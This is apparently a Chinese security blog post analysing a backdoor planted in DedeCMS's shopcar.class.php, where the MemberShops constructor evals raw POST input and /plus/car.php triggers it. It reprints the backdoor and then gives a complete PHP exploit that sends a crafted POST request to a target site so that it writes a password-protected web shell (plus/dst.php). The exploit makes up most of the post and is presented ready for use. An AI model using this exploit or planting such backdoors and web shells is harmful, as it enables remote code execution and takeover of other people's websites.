author:舞林
tx微博:http://t.qq.com/wulinlw
晚上看到这个
http://www.wooyun.org/bug.php?action=view&id=5416
shopcar.class.php 被植入一句话
@eval(file_get_contents('php://input'));
去官网下了一套回来,看了下代码,
class MemberShops
{
var $OrdersId;
var $productsId;
function __construct()
{
$this->OrdersId = $this->getCookie("OrdersId");
if(empty($this->OrdersId))
{
$this->OrdersId = $this->MakeOrders();
}
@eval(file_get_contents('php://input'));
}
function MemberShops()
{
$this->__construct();
}
shopcar.class.php 文件中只有一个 MemberShops 类,构造函数里面出现了后门,当类被实例化的时候就会自动执行构造函数,程序猿你懂的。。。
eval 执行和 file_get_contents 获取内容不用说了,php://input 这个是输入流,接收的是 post 内容,但是 post 类型不能为 multipart/form-data
在 eclipse 里搜索 new MemberShops, 找到 /plus/car.php 里面实例化了这个类,
require_once (dirname(__FILE__) . "/../include/common.inc.php");
define('_PLUS_TPL_', DEDEROOT.'/templets/plus');
require_once(DEDEINC.'/dedetemplate.class.php');
require_once DEDEINC.'/shopcar.class.php';
require_once DEDEINC.'/memberlogin.class.php';
$cart = new MemberShops();
开始的时候写了个简单的表单去测试,发现 php://input 的内容中特殊符号会被 urlencode,很奇怪吧,明明取的是 post,却像 get 一样被编码,既然如此,那就自己构造 post 了,抓个包,用 fsockopen() 函数模拟 post 提交吧,exp 如下:
<?php
//author:舞林
//date : 2012-03-21 00:31:05
//shell一句话地址,/plus/dst.php 密码cmd
//www.t.com/dede/plus/car.php
error_reporting(E_ERROR);
set_time_limit(0);
$url = 'www.t.com'; //目标站url
$dir = '/dede'; //dedecms安装目录
//$content = '$a=${@phpinfo()};';
$content = '$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};';
$data = "POST $dir/plus/car.php HTTP/1.1\r\n";
$data .= "Host: localhost\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$socket=fsockopen($url,'80');
if ($socket) {
fwrite($socket,$data);
while (!feof($socket)) {
$exp.=fgets($socket, 1024);
}
echo $exp;
}else{
echo 'socket err';
}
?>